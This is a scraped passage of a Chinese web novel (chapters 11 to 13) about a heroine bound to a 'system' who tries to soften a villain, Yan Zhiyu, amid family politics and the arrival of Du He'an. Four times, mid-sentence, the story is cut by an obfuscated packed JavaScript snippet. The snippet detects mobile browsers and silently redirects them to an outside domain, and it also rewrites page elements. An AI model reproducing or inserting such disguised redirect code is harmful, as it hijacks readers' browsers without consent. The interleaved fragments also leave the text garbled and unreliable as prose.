【宿主,这其实也是一种方法。】系统慢悠悠道,【但倘若宿主被反杀,另一个世界的宿主也会彻底死亡。】 少年理得很认真,阳光从窗外斜斜地落进来,将他的影子拉得很长,投在地上。 何妙观小心翼翼地站起身,轻手轻脚地向他走去。 【停停停宿主,您不会真的想杀他吧?】 【现在的成功率是零,宿主!!!不要做无畏的挣扎!!!】 【宿主!!!】 一步,两步,三步,何妙观一点点往挪走,直到踩上他的影子。 或许是因为注意力都集中在手中的书卷上,燕之郁没有一点反应。 何妙观在他身后五寸的地方停下,如是距离,连轻微的呼吸声都可以听到。 还能听到的是咚咚的,有力的心跳。 他的衣袍上有淡淡的栀子花香的味道。 燕之郁慢条斯理地抚过书脊。 正如他所料,这个何家小姐确实居心叵测。 一种复杂难言的情绪涌上心头。 倘若,装得再久一点,便也不至于在这样好的夏天香消玉殒。 余光里,能看见外面阳光灿烂,夏意正浓,葳蕤草木在纸窗上留下扶疏倒影。极远极远的地方,传来蝉不知疲惫的鸣叫。 他觉得很是遗憾。 下一刻,燕之郁听到很轻很轻的声音:“燕、郎、君?” 燕之郁转过身,心中虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366120|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有困惑,但还是模仿她的语气,用很浅的气音回道:“何小姐、为什么、要这样说话?” 何妙观轻咳一声,恢复正常:“你方才太认真,我怕忽然说话吓到你。” “原是这样。”燕之郁略略扯唇,感到荒诞,向窗外看去。 何妙观也望向外面,蝉鸣阵阵,光过竹影,一派夏日的良辰美景。 “这种天气,应该去外面玩,不应该在这里理书的。”何妙观遗憾道。 “嗯。”燕之郁收回视线,接着,向何妙观摊开手。 何妙观看向他的掌心,里面空无一物:“没东西啊?” “何小姐方才看的书,可否帮郁取过来?”燕之郁别过头,看向书架二层的某处,“最后一本,要放在这里。” 何妙观连忙把书递过来。 看到封皮上的字,燕之郁的笑容微微凝住。 “何小姐很喜欢杜相的词?” “不是。是因为燕郎君昨日提起他,才对他有些好奇。”何妙观坦白道,“燕郎君似乎很仰慕杜相,我可以请教一个问题么?” “请讲。” “杜相的自序里提到他有长子秀奴。但是长子一词,和次子相对才能彰显其意。为何自序里却一字不提‘次子’?”何妙观实在有点困惑。 少年柔美秀丽的脸上,少见得浮现出一丝戾气,但这分戾气,旋即又消融在他温和的浅笑里。 “杜相没有什么次子。”燕之郁垂下眸,边说边翻开书籍,“之所以称秀奴为长子,是因为杜相和周氏有个早夭的女孩。” 他翻到的那一页的诗,名字叫做《哭阿鸾》。 掌珠碎南浦,血泪染朝衣。 三更犹闻唤,阿父抱鸾归。 注:小女阿鸾夭于寒食前夜,年方五岁。内子悲恸绝食,余犹需强撑病体赴早朝。圣上问策时,余悲恸难忍,当殿咳血。 原来如此。难怪她不记得杜鹤安有什么弟弟妹妹。 何妙观又问:“燕郎君可熟悉杜相的长子秀奴?” 燕之郁摇头:“郁出身寒微,对杜相的所知所解,只是从典籍中窥得一二而已。至于杜府的家事,岂是郁所能知晓的。不过,何小姐很想认识杜相的长子么?” 何妙观颔首道:“听说这位杜郎君有‘仙人之姿’,今日又看到杜相为他写的词,确实有点想一睹真容。” 杜鹤安是作者不吝笔墨、吹得天花乱坠的美人,什么琼林映雪、青松凝霜、玉山将崩,种种好词都被作者堆砌在他的身上,女一、女二、女三都对他一见钟情,这让何妙观不得不好奇他的相貌。 “杜郎君是长安人,何小姐想见他,应当去长安才是。”燕之郁淡笑道,“以何小姐出身,让旁人引荐,见到杜鹤安,想来也不是难事。” “如果可以,我当然想去一趟长安。”何妙观叹气,抬眸凝望着眼前人,心中暗道,要不是你,我怎么会一直呆在扬州。 “燕郎君,你想去长安么?” “不想。” 何妙观还欲再问些什么,叩门声急急地响起来。 外头的小厮走进来,笑着道:“何小姐,刺史正在正堂等您。” 11.十一 何徵提早回来,让何妙观有些措手不及。 何徵并非原书中重要的人物,对原主的态度如何,何妙观并不清楚,这种事情又不能明摆着问,只好从旁人的三言两语中猜测。这些日子,也有个大致的结论,如果说陈寄柔对原主的宠爱有十分,那何徵只多不少。 两人赶到正堂时,何徵坐在主位同陈寄柔说笑,他虽已五旬,鬓角微染霜色,但眉眼间仍能见年轻时的风姿。 见何妙观进来,何徵神情柔和,招手道:“囡囡,过来坐这边,让阿父好好瞧瞧。”何妙观有些不好意思地在他身旁坐下,何徵浑浊的双眼细细地端详着她,片刻后打趣道:“阿父回来,不开心呐?怎么绷着一张脸?” 原本的世界里,“父亲”的存在让何妙观感到痛苦又不解。她想起小时候的家庭旅游时,爸爸把她背在肩上,说,我们家妙观,以后要一直站在高高的地方。又想起周子叙只比自己晚一年出生。想起他们来到自己家里后,爸爸每个月都会给她转一笔不小的数目,但从不会当着周子叙和继母的面和自己亲近,也不会在继母对她冷嘲热讽时站出来说上一句话。 正常家庭的父亲应该是什么样的? 何妙观不知道,只是挤出一个微笑,说自己是因为刚刚理藏书阁太累才这样的。 “理藏书阁?”何徵有些讶异,“囡囡,这些事情交给下人们做就是,你别累到自己。” 陈寄柔笑道:“文曜,囡囡说那些下人们不通文墨,在分类整理上终究做得不好。所以今日一大早就起来,和小燕郎君一起理。” 何徵的目光终于落在燕之郁身上。 他从陈寄柔的来信中得知,自家囡囡又要养年轻郎君。 虽然陈寄柔在信里有提过这年轻郎君读过书,略通文墨,和之前南风馆的伶人很不一样,但何徵还是唉声叹气好多日。 他倒是不怕养着的人有什么问题,只是怕自家囡囡声名愈加狼藉。 想到这里,何徵不由轻叹一声。 也罢,也罢。 少年容貌极好,气质清贵,看上去不像寻常寒门子弟。 “比上次那个好。”何徵点点头。 何怀初轻咳一声,笑道:“阿父,正是因为燕郎君生得俊秀,小妹对他青眼有加,日日在外头寻欢玩乐。” “大郎说的是。”姜氏趁此开始摇头叹气,“但容貌终是皮相,德行才是根本。宝珠前些日子跟燕郎君去玩弹棋,好好的姑娘家,被带着尽学些轻浮把戏,真是不成体统。妾看着心里难受。” “哦?”何徵听出两人对燕之郁颇有微词,笑眯眯地逗道,“囡囡不和阿父辩驳一下么?” 按照原主的性子,此刻何妙观应该撒娇装委屈,再倒打一耙说何怀初总欺负自己,二嫂也老是针对自己。 但何妙观学不会撒娇。 想来想去,还是讲道理吧。 “阿父,我之所以想让燕郎君留在府里,是因为燕郎君很有才华。他今日和我一起整理藏书阁,分门别类,一丝不苟。如果只因为一个人的皮相就轻视他的内在,觉得他一定是金玉其外败絮其中,这样很不公平。”见何怀初嘴唇微动,又要开口刁难,何妙观拿出写议论文的勇气继续道,“阿父,燕郎君还很仰慕杜相,对杜相的诗词歌赋都很熟悉……” 何徵闻言,眼中闪过一丝兴味:“哦?仰慕杜澹庵?” “是,他今日同我还分析时事,鞭辟入里,很有见地,若是阿父能帮他入仕……”话说一半,何妙观忽地怔住。 何徵是扬州刺史,官位四品,对地位更高的杜澹庵不称其官位,反倒直呼其名,足以见他对杜澹庵并无好感。刚刚一番话,反倒是弄巧成拙,把燕之郁架在火上烤。 果不其然,何怀初冷笑一声,唇角勾起讥诮的弧度,好整以暇地看着燕之郁。 何徵问道:“小燕郎君,你既仰慕杜澹庵,不妨说说,仰慕他什么?” 少年闻言,抬眸回道:“回刺史,郁对杜相不敢称仰慕,只是觉得杜相可惜。” 何徵挑眉,更有兴趣:“如何可惜?” “杜澹庵整顿漕运、改革税制,确是为国为民的好官;但中年专权跋扈,结党营私,又实在令人扼腕。”他轻轻一笑,言语透出轻蔑,“但如今斯人已逝,功过是非,也不过是人们的茶余饭后的谈资而已。” 何徵捋须笑道:“不错不错,小燕郎君所说,正是本官所想。”说着,身子微微前倾,看上去有点激动,“要说仰慕,本官最仰慕的是如今的中书侍郎徐墨陵。虽说朝中有浅薄之辈骂徐侍郎不择手段,但平定东南匪患、推行钉骨刑、整治贪官恶吏,哪件不是利国利民的好事?小燕郎君,你若感兴趣,不妨去藏书阁取《余烬集》来看看。徐侍郎虽然年纪轻、笔力浅,但他所作的诗词,本官以为不输杜澹庵的《东山词》。” 这般吹捧太过狂热,少年睫羽轻颤,唇角微抿,笑容显出些无奈。 “多谢刺史指点,郁定会拜读徐侍郎所作。” “甚好,甚好。”何徵颔首。 何妙观悬在心中的石头终于落下。 另一边,脸色阴沉的何怀初仍是不死心。 “阿父,这燕郎君能将朝中局势分析得如此透彻,倒是令怀初感到意外。但怀初只是担心,这般玲珑心思,若用在别处……” “是啊公爹!”姜氏忍不住插话,“妾听闻有些寒门学子最擅钻营这些,投人所好。今番见公爹不喜杜澹庵,便说他专权跋扈;明日若是公爹对杜澹庵有所改观,估计又是另一番说辞。” 他们怎么这样! 何妙观想起周子叙的样子。每次家里发生争执,周子叙总能通过巧舌如簧,把不占理的事说成占理的,害得她被惩罚。 “这只是他们的揣测而已,阿父不要相信……” “囡囡,阿父明白,阿父明白。”何徵大手一挥,笑眯眯道,“怀初,映素,你们不必多言。小燕郎君这般才华横溢的少年郎,正是何府该结交的俊杰。” 说罢,还起身亲切地拍拍燕之郁的肩膀,眼中满是赞赏,“从今日起,府中上下要以贵客之礼对待小燕郎君。小燕郎君,你有什么需要尽管开口。” “囡囡不愧是我何文曜的闺女,识人之术不输你阿父啊!怀初,你多学学你妹妹,你上次给阿父引荐的那位,什么玩意,害得阿父颜面尽失!” 何怀初面色难看,只好称是。 “还有一事。”何徵稍敛容色,沉下语气,“这月月底,杜御史要来何府住上一段时间。虽说我对杜澹庵颇有微词,但这个杜鹤安倒是难得的俊才。年纪轻轻但处事沉稳有度,是朝中少有的少年能臣。” “杜、杜鹤安?” “是呀,囡囡。此次同他一起来扬州的,还有楚家的小姐。这楚小姐的父亲,可是京中大儒楚琰。”何徵道,“囡囡,虽说阿父知道你对做学问没什么兴趣,但这位楚小姐,你可以多相处相处。” == 晚膳后,何妙观提上灯笼,想再去一趟藏书阁。 “何小姐去那做什么?”燕之郁有些好奇。 “找阿父说的《余烬集》。” 燕之郁唇角微抽,有些抗拒:“郁此前,从没听过什么徐墨陵,大概此人是徒有虚名吧。” 何妙观停下脚步,认真道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371579|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “燕郎君,不论你对徐侍郎有何感,都请装出仰慕他的样子。你方才也见过,在何府,只有阿父喜欢你,旁人才不会轻慢你。” “那都依何小姐所言。”燕之郁温顺地点点头,“郁会尽可能去仰慕这位侍郎的。” 《余烬集》很薄,收录的诗词总共不过二十首。何妙观站在书架前翻看起目录,心中暗叹,这徐侍郎真是个绝世大懒人。 目录里,是清一色的《无题》《无题》《无题》。 何妙观翻到最前面,和杜澹庵冗长的大段文字不同,《余烬集》的自序只有短短三行。 “陵少时,尝观弈于市井。弈者争劫,观者攘臂,唯一老者枯槐而寐。及冠入台省,始知天下皆枰,众生皆子,老者实乃智者矣。夜值思此,又忆少时槐下梦:醒时枰已烬,弈者俱亡。故名《余烬集》。” “景和三年于青烟居。” 天下皆枰,众生皆子。 醒时枰已烬,弈者俱亡。 何妙观有点喜欢这两句话,虽然中二,但睥睨天下、不畏生死的滋味,越品越爽。 “何小姐觉得他写的怎么样?”燕之郁问。 “很好。”何妙观如实道,“我觉得比杜相写得还要好。杜相……写得好古板。” 何妙观做过的文言文阅读里,有一大部分诗人都喜欢那样写序,先是感谢皇恩,又是说一大堆自己的成就,看的人昏昏欲睡。 燕之郁笑着道:“所以何小姐喜欢这类的?” 何妙观点点头,又道:“但不得不说,这个徐侍郎,有一点点装。他年纪估计不大吧?” 原本松懒倚在书架上的燕之郁这时倾过身,好奇道:“‘装’……?这是何意?” “这、这是我新学的街头俚语……”何妙观一时语塞,“燕郎君,如果一个人遗世独立、作风不同俗人,就可以说他‘装’。譬如别人写诗有题目,徐侍郎却一直《无题》、《无题》、《无题》,嗯……就是很装。” “是郁学问浅薄,今日才知,‘装’还有这个用意。”燕之郁若有所思地点点头,“这样看来,何小姐也是很装的人。” 何妙观一点也笑不出来。 == 这夜,何妙观草草洗漱后便躺上榻,心情复杂。 原书里,杜鹤安和燕之郁的初见,是杜鹤安从扬州回到长安以后。 因为查明扬州凶案,杜鹤安重获圣眷,被提拔回长安任大理寺少卿,少年臣子、春风得意,又结识无数权贵,甚至还获得当今圣上的亲姊姊、长公主李莜的赏识。 直至太常粮案。 太常粮案牵扯河东柳氏、博陵崔氏等世家,更涉及北梁宗室的党争,背后势力盘根错节、暗潮涌动。 杜鹤安和燕之郁首次正面交锋,便是因此。 君子有所为、有所不为,自幼饱读圣人书的杜鹤安,遵守礼法,办案讲究证据确凿、程序周全,哪里想得到对面是个毫无顾忌的疯子——先斩后奏、罗织罪名、栽赃嫁祸、刑讯构陷样样精通,以至他功败垂成,差点死在牢狱里。是在长公主的帮助下才侥幸逃过一死。 如今,因为自己的介入,两人在扬州就要见面。 何妙观不清楚这是好事还是坏事。毕竟原书对燕之郁的早年经历描述很少,不曾说过他是如何越来越极端的,亦无法推测他黑化的原因到底是什么。 原本何妙观想通过提升好感度,解锁他的早年经历,再对症下药的。 但好感度却迟迟不变。 只能期望杜鹤安不会是促使他黑化的一环。 窗外响起淋淋雨声。倦意袭来,少女闭上眼,坠入梦境。 12.十二 杜鹤安来的那日,江都县下着绵绵小雨。 雾气笼罩着何府,屋瓦上泛着湿漉漉的光。 何家小厮们撑着伞在门前相迎。 何妙观站在回廊下远远望着。烟雨朦胧中,先是一道修长身影踏下马车,灰色的伞面稍稍抬起,露出半截执伞的玉手。 青年穿着雨过天青色的官袍,背影如竹,行走时衣袂翻飞。 马车上又下来一个年轻女郎。女郎撑着一柄描金油纸伞,莲步轻移,藕荷色的裙裾扫过青石台阶,溅起细碎的水花。伞沿垂落的雨帘后,隐约可见女郎瓷白柔和的侧颜,以及鬓边垂下的一支珍珠流苏。 距离太远,何妙观看不清面容,只觉得两人一人如竹,一人如兰,确是一对璧人。 何家小厮簇拥着两人往前走。经过回廊时,杜鹤安收起伞,抬眸望来。 “见过何刺史、何小姐。”青年的声音温润,如春日落雨,极是悦耳,“这位是义妹箬兰,还望何小姐照料。” 何妙观看到他的脸,呼吸微滞。漂亮出尘的眉眼,像是精雕细琢的玉偶一样,就算说是仙人,也不过分。 站在他身后的女郎微微欠身,柔柔笑道:“箬兰见过何小姐。” 何妙观连忙还礼。 这一日,有不少来接风的官员。何徵拉着杜、楚二人走进正厅寒暄,其他官员们亦闹闹嚷嚷地围上去。何妙观猜着这边没自己的事,便转身往东院走。 不料刚走到花廊,便听到一声低低的“姑姑”。 何妙观转过头。 是红着脸的何宝珠。 因为清乐坊一事,何宝珠一直避着她,平日偶尔撞见,目光亦躲躲闪闪的。 “姑姑,我、我想……”何宝珠吸吸鼻子,声音有点哑。 “到我屋里说吧。”何妙观牵过她的手。 窗外雨声淅沥。 何宝珠坐在绣墩上,眼眶红红的,一双杏眼里漫起秋水。 “姑姑,宝珠今日来,是、是想为阿娘,同姑姑道歉。” 何妙观苦笑一声,轻轻拍着她的背:“宝珠,姑姑从未怨过你。不必道歉的。” 姜氏不喜欢她,宝珠夹在中间,自然会为难。 “姑姑……姑姑真好……”宝珠眼眶更红,哽咽着,“但是、但是,宝珠今日来,还有别的事想要求姑姑……” “阿娘总说,女孩子这辈子最大的出息,就是嫁个好人家,但宝珠不想这样,可是,宝珠又不敢违抗阿娘,阿父他、他又只关心弟弟。”宝珠抽噎道,“明明燕郎君除却一张脸什么都没有,姑姑却能通过教他说那些话,讨得阿翁的欢心,让燕郎君成为家里的座上宾。所以、所以姑姑,能不能也帮帮宝珠……” “燕郎君能得阿父的赏识,不全是因为我。”何妙观轻叹道,“那些话也不是我教的,他自己博览群书、见解独到才是关键。” “这样啊……那他都是读哪些书,能这么厉害……” “藏书阁里的书,他大半都读过。宝珠,你若是想学,我让他偷偷教你好不好?” “姑姑你笨啊!”宝珠闻言,哭得更厉害,“燕郎君是男子,读书能入朝为官。而宝珠,就是把所有书都记住,也没办法做官……弟弟从小被阿父带着去那陶冶情操,可宝珠、宝珠读过的只有《女学》《女诫》……” 何宝珠的弟弟何宝灵,今年六岁。何妙观很少在府里见过他。听说是个“神童”,大部分日子都在学堂读书。 “那宝珠可有什么擅长的?”何妙观又问。 “宝珠……宝珠擅长弹棋、看话本还有玩叶子戏……”何宝珠吸着鼻涕,越哭越厉害,“呜呜……宝珠是不是很没用?” “宝珠,把话本拿来给姑姑看看。” 何宝珠愣愣地抬起泪眼,见她神色真诚,才抽抽搭搭地唤来贴身侍女:“春池,把我床底的话本都取来,还有、还有妆台下压着的那些……” 春池抱着厚厚一摞话本回来。 《路边捡到貌美夫婿》《偶遇的状元郎是狐妖》《病弱首辅非要娶我》《权臣他总想以下犯上》……看名字,和网上最流行的那些言情小说没有差别。 何妙观咬住唇,故作严肃地翻开话本。 话本被翻过很多次,纸张柔软,空白处还留有不少后期用黑墨画上去的插图。这些插图线条流畅灵动,容貌精致细腻,连衣袂飘飞的褶皱都画得惟妙惟肖。 何宝珠面色绯红,哭道:“姑姑你、你别笑,你别笑啊……” 何妙观这才意识到自己唇角上扬许久,怎么也憋不住,“噗嗤”地笑出来。 何妙观看着人物鲜活的动作,缓缓道:“宝珠,姑姑在想,扬州这边的话本鲜少有配着画的,若是能同书坊联系,让宝珠专门作画,宝珠就能凭此安身立命,不必听阿娘的话去嫁人。” “真的么?”何宝珠猛地抬头,噙着泪的杏眸亮起来。 但让宝珠为不入流的话本作画,姜氏怕是会不同意。 “这事得从长计议。姑姑会想办法的。” 何宝珠终于不再哭泣,小口咬着玫瑰酥,眉眼渐渐舒展开来,有心情说笑:“姑姑方才也看到杜御史了吧?” 何妙观点头。 “姑姑觉得,杜御史和燕郎君比起来,谁更好看?” 何妙观细细思索着。不知为何,她觉得两人有点相像,尤其是眼睛。两人的眼角都微微上挑,睫毛浓密弯翘,望着人时,眼眸中总是浮着潋滟柔光。 “都很好看。” “就知道姑姑会这样说!”何宝珠颇为得意,“杜御史清冷如霜,就像话本里皎皎明月、不染纤尘的贵公子;燕郎君温润如玉,虽然出身卑贱,但蒙尘明珠才最惹女子怜惜……哎!宝珠选不出来。倘使他们能一直留在我们家,真是妙哉、妙哉——” “宝珠!杜御史有心仪之人。”何妙观忙打断她的虎狼之词。 “是是是,宝珠一眼便知他和楚小姐关系不同寻常。”何宝珠唇角漾着梨涡,“长安果真是长安,兄长和妹妹也能在一起——” “宝珠!” == 细雨初歇,草木清新。午后的天空若水洗后的白瓷,干净明亮。 “鹤安和义妹初来乍到,往后在何府,还要承蒙二位关照。”杜鹤安说罢,递上两个描金漆盒,“这是从长安带来的一些薄礼,还望何小姐和宝珠姑娘笑纳。” 何妙观一面道谢,一面打量起二人。 【姓名:杜鹤安。】 【简介:杜鹤安,字霄羽,小字秀奴,官至中书令兼刑部侍郎,封兰陵侯。出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382576|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身名门京兆杜氏,年少即以才貌闻名长安,有“玉面郎”之美名,因家族倾覆历经宦海沉浮。同长公主李莜联手推行嘉宁新政后,辞官归隐。】 【姓名:楚箬兰】 【简介:楚箬兰,小字幼兰,京中大儒楚琰之女。性柔婉而不失风骨,常以诗画自娱,著有《蘅芜集》。后嫁杜鹤安为妻,辅佐新政,时人称“双璧”。嘉宁年间随夫归隐。】 虽是头一回见面,杜鹤安和楚箬兰的好感度却不是零,竟都能解锁两个人物故事。 还以为只要是陌生人,好感度就会是零呢…… 何妙观想起燕之郁的好感度,无奈地弯弯唇。 杜、楚两人都非健谈之人,闲逛时大部分时间都是何宝珠开口。 “楚姐姐的步摇真好看!是长安流行的样式吗?” “是呀,宝珠若是喜欢,箬兰那还有两支新的,一会我托人送到你房里去。” “真的呀,谢谢楚姐姐!”宝珠笑得眼睛弯成月牙,“楚姐姐人美心善。这珍珠步摇衬得姐姐肌肤如雪,走起路来珠坠轻摇,简直像画里的仙子下凡!” 楚箬兰闻言,白玉般的脸颊顿时染上红晕,低头轻声道:“宝珠妹妹说笑……” 这宝珠,夸起人来倒真有一套。 何妙观忍不住弯起唇。 何宝珠又转向杜鹤安,笑意盈盈道:“御史大人,您比传闻中还要好看。我之前在话本里读到‘立如芝兰玉树,笑若朗月入怀’的句子,原以为是夸张,今日见御史大人,才知世间真有这般人物!” “鹤安不过是寻常人而已,当不起这般夸赞。”杜鹤安有些不自在,亦是淡淡一笑,“姑娘过誉。” 一行人逛着逛着,来到后院的荷花池畔。 急雨方歇,池中水汽氤氲。在薄雾中,粉白相间的荷花若隐若现。 一道熟悉的身影立在池畔小亭。 少年身着墨色的圆领袍,衣摆上绣着暗红色的缠枝纹,在满池红锦鲤的映衬下,宛如浓墨重彩的工笔。他正漫不经心地将鱼食洒向水面,引得池中红艳艳的锦鲤争相跃动。 听到脚步声,少年缓缓转身。雨后的阳光穿透薄雾,为他苍白的肌肤渡上艳色。 “这位兄台是?”杜鹤安一边问,不着痕迹地打量着眼前人。 “他呀,是姑姑暂住在府里的朋友。”何宝珠笑嘻嘻道。 杜鹤安唇角含笑,拱手一礼:“在下杜鹤安,现任监察御史。” 燕之郁欠身回礼。 “在下燕之郁。” “承蒙何小姐的垂怜,暂居何府。” 何妙观诧异地抬起眼。 余下的两人,亦有些尴尬。 他们还没到扬州时,便听一位官员谈起何府小姐的传闻,说她生性顽劣、喜好男色,十五岁时,曾将南风馆的伶人赎身,养在府中。 这等事情在长安城并不稀奇,长公主就养有面首。但两人到底年轻,亲眼目睹被收留的男客,确有些不知该如何应对。 何宝珠见状,又开口道:“哎,你们别误解。姑姑是慧眼识才,才对燕郎君施以援手的。燕郎君不仅生得好看,还饱读诗书,对杜相很倾慕。” “杜相是御史大人的父亲吧?御史大人,您和燕郎君应该有很多话能聊。” 13.十三 “自是郁的荣幸。”燕之郁笑起来,“郁生于永昌三年,杜御史呢?” “鹤安生于永昌元年。” “那今后,郁称杜郎君一声‘杜兄’吧?”燕之郁唇角微扬,“杜兄叫我‘之郁’便好。” 杜鹤安颔首,眉头微微蹙起来。他确信从未见过此人,可少年身上那股似有若无的熟悉感,却让他莫名不安。 = 因为傍晚还有一场接风宴,闲逛结束后,众人便回房屋休息。 “方才为何要说那样的话?”走至东院的游廊处时,何妙观实在忍不住问道。 “那句话是郁自真心而出。”燕之郁温声道,“能留在何府,确是承蒙何小姐垂怜。” “重点不在于真心不真心。”何妙观叹道,“燕之郁,你明知那些话容易落人口实。” 燕之郁平淡道:“旁人如何想,我们又何必在意。” “因为我不愿意他们看轻你,你却反倒——”何妙观瞥他一眼,看他一脸漠然无谓的表情,溢到唇边的重话又落回去,“随你吧。” 燕之郁不再回话。两人默不作声地走过紫藤萝花廊,快至分别的岔口时,他停下脚步。 “何小姐。” 日光将稀疏花影印在少年白皙的脸上。 燕之郁双手交叠,微微倾身,是北梁国最正式的道歉礼:“方才是我辜负你的好意。” “没让你道歉。” “可你刚刚在生气。” “没有生气。” “你方才没有喊‘燕郎君’,喊的是‘燕之郁’。”燕之郁轻声道。 “为什么我喊你‘燕之郁’便是在生气?”何妙观撇撇嘴,佯装听不懂。 燕之郁一时无言,向前走两步。 他身形高挑修长,虽然容貌还带着少年的青涩,但还是带有一种压迫感,何妙观警惕地后退一步。 燕之郁的动作顿住,鸦睫微微垂下:“何小姐……” 少年的嗓音清冷,如同敲冰戛玉。 何妙观从那双波光潋滟的桃花眼中,望见自己的倒影。 “何妙观。” “妙观。” 说罢,又后退半步,两人重新回到原本的距离。 “三者是有差别的,对不对?” 少年姿容艳丽,眼波流转,一举一动犹如书中艳鬼,尤其是此刻示弱的、潮湿的眼眸。 何妙观败下阵来,叹气道:“嗯。我确实很生气。你若是想要我接受道歉,便要答应我,从今往后,不再说那种容易落人口实的话。” “好,郁在他人面前,不会再说的。”燕之郁点头,仍用水光潋滟的眼睛凝着她。 “还想说什么?” “杜御史似乎有点讨厌我。”燕之郁轻声道,纤长的睫羽轻轻颤动,因此时眼角微垂,看上去无辜茫然。 “……你们今日才认识,杜御史不会无缘无故厌恶你的。” “眼神是骗不了人的。”燕之郁继续道,“何小姐没有看出来么?” 何妙观还真没看出来。一点也没有看出来。 “你别多想。杜御史不是无缘无故讨厌人的那种人。” “哦——”这番话显然并没有说服他,燕之郁站着没有动,漫不经心道,“何小姐似乎对他很熟悉?” “没有……只是听说他光风霁月,是个很好相处的人。” “这样么。”燕之郁垂下眸,轻声道,“上回在藏书阁时,何小姐就对他感兴趣。如今杜御史暂住何府,何小姐日后便可以常常见他……嗯,真为何小姐感到欣喜。” 他表情越诚挚,越显得这番言论似是由肺腑而出。 “谢谢、谢谢你替我着想。但我……其实并不想常常见他。”何妙观结巴道,“你赶紧回去吧。” 燕之郁挥手作别:“那晚上见,何小姐。” 何妙观这时才发现他小臂上有一道血痕,已然结痂。 == 厢房里。 寸许长的擦伤横在白皙的手臂上,血珠干掉后,只剩下浅褐色的血痂。何妙观用清水打湿软帕,将伤口周围的污渍擦去,温和道:“若是疼一定要说。” “好。”燕之郁乖顺道。 他静静注视着少女专注的容颜,想起过去不止一次在宴会时听到的谈笑。 ——那何小姐生性嚣张跋扈,毫无大家闺秀的样子。也不知道何家是怎么管的。 ——潘兄说的是。姑娘家家的,帮南风馆的伶人赎身!成何体统啊! ——听说是因为算命先生说活不过十七岁,何家才这样宠的…… ——你说的不会是那个姓陆的算命先生吧?他还说我未来能到长安做官呢! 细细的柳叶眉,圆圆的杏眼,淡色的薄唇,搭上瘦削白皙的瓜子脸,并不算世俗意义里的美人,也不像从小在呵护中长大。 但也是奇异,每每注视着她,看着她面颊上泛起薄红,羞赧地低下头时,他心中总泛起一种莫名的情绪。好奇、困惑、心痒,剪不断,理还乱。 唯一可以笃定的是,这种情绪并非喜欢。 “郁可以请教何小姐一个问题么。”他问。 何妙观停下手中的动作。 “杜御史才貌双绝,出身优渥,为人又温和守礼,世家小姐是不是都喜欢他这样的人?”燕之郁坦然道。 “这……为什么忽然问这个?” “郁只是想知道,如何才能讨人喜欢。郁出身卑贱、家室清贫,又不善言辞,总是给何小姐添麻烦,惹小姐生气。”他说着说着,眼睫垂下去,“郁想知道何小姐的喜好,以便以后学习,讨人欢心……今后,郁不愿再惹何小姐生气。” 何妙观知他误解自己,无奈道:“燕郎君做自己便好。我对你没有其他意图,不必想着讨好我。” 燕之郁柔柔一笑,眼睛弯弯的,像狐狸一样。 “可若是郁心存妄想呢?” 少年直勾勾地望着自己,黑沉沉的眼睛仿佛静潭。 但这一次,何妙观没有别过脸,反而迎着他灼热的视线,苦笑道: “燕郎君,你对我抱着何种态度,我心中有数。” “你分明厌恶我,可为何又要说这样暧昧不清的话。” “是因为担心不讨好我,我便将你赶出何府么?” “也是,我过去名声确实很差,但这些日子的相处,我以为你能看出来,流言不一定是准确的。” 想到始终为零的好感度,何妙观咬咬唇,又自嘲地笑道:“也罢。以后我们井水不犯河水,我不会再来找你,免得你担心我心存不轨。” “何小姐……?” 燕之郁闻言一怔。半晌,他垂下眼眸,轻声道:“何小姐,郁怎么可能厌恶你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389265|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“方才一番言语,皆是出自肺腑。可为何你总不愿相信。” “信信信!我信你个鬼!燕之郁,你对我的好感——” “度”字还没出口,后颈传来一阵剧烈的刺痛,如同被尖锥刺入一般,痛得鲜血淋漓。 何妙观眼前一黑,整个人晕过去。 【提醒宿主,不可以提及诸如“好感度”“黑化值”之类的词语,暴露系统的存在。】 何妙观在气头上,懒得搭话。 【有一个好消息顺便告诉宿主,反派的黑化值下降五个点。】 啊? 